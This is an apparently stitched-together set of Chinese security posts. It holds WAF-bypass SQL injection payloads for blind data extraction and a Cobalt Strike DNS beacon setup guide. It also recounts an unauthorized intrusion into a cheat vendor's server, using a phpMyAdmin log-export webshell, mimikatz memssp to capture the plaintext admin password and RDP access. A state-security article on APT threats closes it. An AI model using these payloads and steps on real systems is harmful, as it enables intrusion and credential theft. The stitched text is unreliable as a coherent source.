绕过order by

这里and 没有被拦截就不测试,直接order by肯定不出意外被拦截

1.png

/*!order*//*!by*/1 拦截
/*!40000/*!30000order*//*!40000/*!30000by*/1 不拦截 这里30000是数据库版本如果大于他就会执行.

2.png

无法绕过union select

这里我花了很多时间来绕union select 发现一直绕不过

转换思路从时间盲注开始

查询数据库

id=2 and length(database())>1 不拦截,这里我们可以判断出数据库长度.

3.png

获取数据库名

id= 2 and if(ascii(substr(database(),1,1))>120,1,sleep(7))  拦截
id=2 and if(ascii(substr(database/**/(),1,1))>120,1,sleep/**/(7)) 不拦截
id=2 and if(ascii(substr(database/*!()*/,1,1))>120,1,sleep/*!(7)*/) 不拦截

4.png

使用上面paylaod就能够测出数据库名

查询数据库表

id=2 and if (ascii(substr(select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>96,1,sleep(5))  拦截
id=2 and if (ascii(substr(select table_name from information_schema.tables where table_schema=database/**/() limit 0,1),1,1))>96,1,sleep/**/(5)) 拦截
id=2 and if (ascii(substr(select table_name from information_schema.tables where table_schema=database/*!()*/ limit 0,1),1,1))>96,1,sleep/*!(5)*/) 拦截

这里我就试着把一句句去掉看是哪里被拦截最终发现,是select被拦截,去掉select不拦截,提示语法错误

php id=2 and if(ascii(substr(( table_name from information_schema.tables where table_schema=database/**/() limit 0,1),1,1))>96,1,sleep/**/(5)) 不拦截

5.png

这里来绕select

php id=2 and if(ascii(substr(( /*!Select*/+table_name from information_schema.tables where table_schema=database/**/() limit 0,1),1,1))>96,1,sleep/**/(5)) 拦截
php id=2 and if(ascii(substr((/*!40000/*!30000select*/ table_name from information_schema.tables where table_schema=database/**/() limit 0,1),1,1))>96,1,sleep/**/(5)) 拦截
php id=2 and if(ascii(substr((/*!50000select*/table_name from information_schema.tables where table_schema=database/**/() limit 0,1),1,1))>96,1,sleep/**/(5)) 拦截
php id=2 and if(ascii(substr((/*!50000%53elect*/table_name from information_schema.tables where table_schema=database/**/() limit 0,1),1,1))>96,1,sleep/**/(5)) 不拦截

这里就可以直接查询出数据库表名

查询字段

直接使上面最后一条就可以绕过

php id=2 and if(ascii(substr((/*!50000%53elect*/column_name from information_schema.columns where table_schema=database/**/() and table_name='xxxx' limit 0,1),1,1))>96,1,sleep/**/(5)) 不拦截

1.png

cs作者曾说过dns beacon是cs一重要特色,原因在于其绕过防火墙方面比较有优势,之前测试的时候有点儿问题也没有深入研究原理,在最新的cs4.0出来之后又重新测试了一下,然鹅过程是崎岖的,中间踩了几个坑记录一下。

原理简介

首先我们需要申请一个域名配置好域名解析,例如这里的域名是 malware.com, vps ip地址1.2.3.4,我们需要设置dns的一个A记录,将malware.com的一个子域名指向我们的vps地址,如c2.malware.com

之后我们需要添加一个NS(name server)记录,主机记录可以是dns,记录值是c2.malware.com,NS记录就是将解析任务交由一个指定的"权威"dns服务器(在这里teamserver就是我们的"权威"dns)

梳理一下流程,当我们请求data.dns.malware.com的时候,首先通过递归查询查找到malware.com,之后发现dns.malware.com是由c2.malware.com负责解析,然后这个c2.malware又有A记录,对应ip地址是1.2.3.4,这个时候就可以和1.2.3.4通信了,注意这里需要事先在teamserver上配置dns listener(cs中listener的dns hosts设置为dns.malware.com),否则无法处理过来的dns请求。

测试

原理明白测试就简单了,配置好cs的dns listener和dns解析之后可以进行一下解析测试,使用dig或nslookup命令

dig +trace dns.malware.com
nslookup dns.malware.com c2.malware.com

一般会收到来自teamserver 53端口的默认回复地址0.0.0.0,但如果你的cs配置了profile,且设置了dns_idle,那就不是默认的0.0.0.0,而是你dns_idle的值,这个是cs作者用来逃避检测的一种技巧,只能说作者考虑的有点儿全面orz (之前测试的时候我一直没注意到这个点,一直不明白自己为啥总是返回8.8.8.8,简单逆了一下cobaltstrike.jar 大概看下流程也没怎么看懂,也看了teamserve的log除了几个warning也没什么特别的异常,在服务器上抓了流量也没发现异常,也排除了vps限制或者是dns厂商问题,总之各种弯路都走了...最后事实证明这些都是正常的,是自己在启动teamserver的时候自定义了profile里面的dns_idle为8.8.8.8,害!)。

2.png

在beacon上线之后,图标是个黑框,且和http和tcp beacon不一样它没有默认的睡眠60秒,你甚至可能会以为beacon死掉了,其实不然如果想要和beacon交互这个时候需要checkin命令,help checkin可以看到帮助信息,大意就是会让dns beacon强制回连你的teamserver,checkin之后就会发现图标变了,也可以进行交互了,但非常慢,有时候甚至还连不回来,这个时候需要修改一下dns模式,help mode可以看一下具体有什么不同,默认的mode dns数据传输比较慢,可以修改为mode dns-txt 这样传输会快点儿,每次传输189比特的数据,相比A记录每次传输4比特的数据快很多了。

3.png

4.png

一、事件前言

这事还要从一只蝙蝠开始说起………..疫情的原因在家闲的翻箱倒柜,翻出了这么个玩意,没错这就是“压qiang神器”想当初我把把落地成盒又在某宝铺天盖地的推送下,忍痛割爱花了百来块钱买了这神器。

1.jpg

买回来后开始后悔了,经过简单的观察分析此USB的行为,并非啥智能压qiang芯片,实际上就是一个软件加密狗的USB加密了商家给发的无后坐软件,通过对某宝搜索加密狗USB看看这价格,属实暴利。

2.jpg

二、故事开始

因翻出了此USB加密狗,心血来潮想开把游戏试试还有没有效果,进入商家之前提供的下载地址下载软件,这次幸运的忘了关杀毒软件,哦豁??这是嘛呀,这图标咋这么熟悉呢,这不是赤裸裸的远控吗,难怪商家之前一直强调要先关了杀毒软件在打开,原来藏着这么大的猫腻。

3.jpg

之前也一直傻愣愣的把杀毒软件都关了才开始玩的,USB是从去年四月份购入的,合着当了差不多一年的肉鸡了,坑我钱封我号就算了还拿我当肉鸡使,这谁受得了必须得制裁。

三、信息探测

二话不说直接丢到微步沙箱分析一波看看能不能挖出什么重要的信息,软件的持久化跟读取系统信息这类的高危操作行为,确定远控无疑了。

4.jpg

5.jpg

再翻翻有没有跟软件交互的ip或者URL做为入手点,果不其然在大量的URL链接中发现了一条开着http协议的ip地址。

6.jpg

访问之~其 http://10x.xx.xx.xx/1/1.txt 内容就是软件上的公告,确定了这台ip是软件的服务器没跑了。

7.jpg

既然开了web的服务,直接上dirmap强大的目录探测工具看看能不能跑出啥重要信息,速度很快不一会探测出了PHPmyadmin等信息。

8.jpg

直接复制路径访问,习惯性的一波弱口令root/root给进去了…….像这类的软件作者安全意识很低几乎没有,因为没有人去抓包去分析流量很难发现背后所交互的ip,果然又是一套phpStudy搭建起来的web服务。

9.jpg

四、Getshell

因为已经拿到了phpmyadmin的数据库且还是root权限的,可利用数据库的日志导出功能导出一句话php。

1.先手动开启日志。set globalgeneral_log=’on’

10.jpg

2.检查是否开启成功。show variables like “general_log%”

11.jpg

3.设置日志文件输出的路径,结合PHPinfo文件得到网站的绝对路径,直接输出到web路径下。

set global general_log_file ="C:\phpStudy\PHPTutorial\WWW\info.php"

12.jpg

4.写入一句话,输出到日志文件中。select ‘<?php eval($_POST['tools']);?>’

菜刀连接上刚刚导出的一句话。

13.jpg

五、权限提升

到这里就已经拿到了webshell,但shell 的权限还太过于小我们的目标是拿下对方的系统权限,这里我用cs上线方便后续的操作,cs生成上线程序“splww64.exe”,利用菜刀的虚拟终端管理运行我们的程序。

14.jpg

过了几秒Cs这边也上线了。

15.jpg

权限到手后接下来就是激动人心的读取密码了,当然我们已经有了Administrator的权限可以自己添加个新用户,但这样会引起管理员的注意。

这里我们用cs自带的mimikatz来抓取用户的登陆密码,但很遗憾的是对方服务器是Windows Server 2012 R2版本的,Windows Server 2012 R2已经修复了以前从内存获取密码的漏洞,并且IPC$的远程认证方式也改变了,导致没办法进行hash注入,因为默认不存储LM hash ,也只能抓取NTLM hash ,基本上也是很难破解成功的。

16.jpg

六、巧取密码

难道就这样半途而废了么,不不不,敲黑板敲黑板了,Mimikatz –内存中的SSP,当用户再次通过系统进行身份验证时,将在System32中创建一个日志文件,其中将包含纯文本用户密码,此操作不需要重启目标机子,只需要锁屏对方再登陆时即可记录下明文密码,需另传mimikatz.exe程序到目标机子,然后在cs终端执行C:/mimikazt.exe privilege::debug misc::memssp exit当看到Injected =)的时候,表明已经注入成功。

17.jpg

接下来就是使对方的屏幕锁屏,终端键入rundll32.exe user32.dll,LockWorkStation命令。

18.jpg

过了许久…..许久….再次使用net user Administrator查看用户登陆情况。

19.jpg

在管理员再次输入密码登录时,明文密码会记录在C:WindowsSystem32mimilsa.log文件,在查看目标机子产生的log文件时间刚好对应得上,下载到本地打开之~。

20.jpg

21.jpg

七、登陆系统

目标机子的明文密码已经取到手了,接下来上nmap全端口扫描出RDP远程登陆端口,执行nmap -p 1-65355 10x.xx.xx.xx,可看到目标机子的端口是默认的3389端口。

22.jpg

登陆之~目前已有两千多用户了…..也可以确切的说两千多肉鸡了。

23.jpg

八、知识点

1.提取exe程序交互的ip或者URL作为入手点。
2.Phpmyadmin日志导出获取webshell。
3.Mimikatz表明注入取得明文password。

九、总结

因一条root/root口令导致后面一连串的控制权限提升,应当增强网络安全意识,排查自己所对外开放的资产服务,关闭或修改本身的端口,拒绝弱口令!拒绝弱口令!拒绝弱口令!

利用特种木马,对我国航空系统数十台计算机设备实施高强度网络攻击,窃取大量数据资料;专门搭建钓鱼攻击平台阵地,发送钓鱼攻击邮件导致我国军工领域数百份敏感文件被窃取……在第五个“全民国家安全教育日”之际,国家安全部披露多起有关APT(Adavanced Persistent Threat,是指针对明确目标的持续的、复杂的网络攻击)窃密的案例。

从国家安全部新闻办了解到,近年来境外各类政府背景APT黑客组织不断加强对我国网络攻击,窃取大量重要敏感信息,极力攻击试图控制我国核心设备和关键设施,势头猛烈,威胁巨大,严重危害我国网络空间国家安全和利益。

习近平总书记深刻指出:没有网络安全就没有国家安全。

国家安全部有关负责人表示,国家安全机关深入学习贯彻习近平总书记关于维护网络安全的重要指示,在总体国家安全观引领下,立足本职,严厉打击境外组织的网络攻击窃密和渗透破坏活动,坚决维护我国网络空间安全。

攻击技术先进规模庞大

国家安全部有关负责人告诉记者,当前,APT窃密行为包括三大特点,即攻击领域广泛,规模庞大;攻击目标多样,全网覆盖;攻击技术先进,手法复杂。

2019年7月,某境外APT组织仿冒我国某军工领域重点单位邮件登录界面,专门搭建钓鱼攻击平台阵地,冒用“系统管理员”身份向该单位多名人员发送钓鱼攻击邮件。该单位职工王某点击了钓鱼攻击邮件,输入了个人邮箱账号和登录密码,导致其电子邮箱被秘密控制。之后,该APT组织定期远程登录王某电子邮箱收取王某邮箱内文件资料,并利用该邮箱向王某的同事、下级单位人员发送数百封木马钓鱼邮件,导致十余人下载点击了木马程序,相关人员工作计算机被控制。

这位负责人说,近年来,境外APT组织不仅加大了对我国党政机关、国防军工、科研院所等核心要害单位的攻击活动,而且延伸到了关键信息基础设施、能源、金融、军民融合等各个领域。攻击来源众多、频次和烈度日益增强。

“2019年,国家安全机关发现并处置的网络攻击窃密活动中,涉及境外APT组织数量多达近百个。其中一组织全年针对我国‘两会’、‘一带一路’高峰论坛以及新中国成立70周年等重大活动的定向攻击,竟多达4000多次。”该负责人说。

与此同时,境外APT攻击目标涵盖了连接互联网的各类设备乃至整个网络空间,从各种服务器、联网计算机,到电子邮箱、移动介质,再到各种网络设备、移动智能终端、工业控制系统和物联设备,总体上形成从单机到网络、从硬件到软件、从外网到内网的全网覆盖。

这位负责人举例说,2019年5月,国家安全机关对我国某能源公司开展技术安全检查时发现,该公司的网页服务器、域控服务器、文件共享服务器等多台网络设备均被境外APT组织攻击控制,该组织还利用公司内外网缺乏边界防护设备的管理漏洞,向内网进行渗透,控制了数十台计算机。

APT攻击技术先进,手法复杂。该负责人告诉记者,境外APT组织广泛运用人工智能、大数据等先进技术,同时采取漏洞攻击、诱骗攻击、“中间人”攻击等多种技术方式和手法,让人不易防范。

2019年9月,某境外APT组织利用特种木马,通过控制多个境外跳板设备对我国航空系统数十台计算机设备实施高强度网络攻击活动。攻击者精心伪装窃密行为,所用特种木马平时处于静默潜伏状态,接收到远程控制指令再激活运行,整个过程十分隐蔽。

6大措施强化防范抵御

如何防范抵御APT攻击?

“我们应当坚持总体国家安全观,树立正确的网络安全意识,多层次多维度地防范抵御网络安全的风险与挑战。”国家安全机关网络安全专家就此回应,并对核心要害单位和重要涉密人员如何防范抵御APT攻击提出6个方面的建议:

要压实各部门网络安全防范主体责任,确保各环节网络安全保密工作职责清晰、责任到人、可究可查。从已发现查处的部分案件看,一些环节的保密职责不清,是漏洞风险存在、案件发生的重要原因之一。因此,在网络安全责任划分时,应针对具体的网络应用情形、业务应用模式和岗位特点,专门制定网络安全保密工作要求,并切实细化分解。

要加强常态化网络安全教育和技能培训,提升网络安全敌情意识和防范技能。工作人员的疏忽大意和违规操作,是绝大多数网络安全事件和失泄密案件发生的主要原因。提高工作人员的网络安全防范意识和技能,彻底杜绝不安全操作行为,是做好网络安全管理的根本。必须严格做到“涉密不上网,上网不涉密”,不在非涉密计算机和移动存储介质中存储涉密资料,不通过互联网邮箱存储传递涉密文件资料,不在固定电话和手机中谈论涉密内容,涉密计算机和移动存储介质严禁连接互联网。

要加强对计算机、电子邮箱的安全防护。除了在办公计算机、手机上安装杀毒、防护软件等措施,还要不定期的对连网设备进行安全检测,发现计算机、手机等是否感染病毒木马程序,存在可疑的网络请求或连接,邮箱是否存在异常的登录情况。在出差特别是出国时,最好携带新的、不存储任何文件的新计算机、新手机,注册新的电子邮箱,在经过技术检测前不轻易使用别人以礼品形式赠送的电子设备。

要加强网络技术防范能力建设,确保技术防范措施到位并发挥实效。根据网络应用情形和保密级别要求,设置相适应的足够强度的技术防范措施;网管员对各技术防护手段设备的运行情况和监测记录要定期查看,既确保设备一直正常有效运转,又能及时发现各种违规、可疑或危险的技术操作行为。

要切实强化网络安全保密规章制度的执行监管。通过强化监管,提醒和约束涉密人员遵守保密制度,推动各项保密要求和保密责任落实到位。同时,抓早抓小,及早发现处置异常情况和安全隐患,尽可能减少信息安全保密的空白点和薄弱点,有效管控风险。

要加强同国家安全机关等专业部门的协作配合。国家安全机关是网络反间谍对敌斗争的专业部门,有责任、有义务指导协助各单位做好网络安全防范工作。国家安全机关将积极协助各涉密单位开展反间谍技术窃密检测,发现计算机网络被境外间谍情报机关攻击窃密情况及运行管理中存在的漏洞和薄弱环节,及时消除危害隐患。同时,指导各单位落实网络安全防范措施,提高技术防范能力,防范敌人网络攻击窃密活动。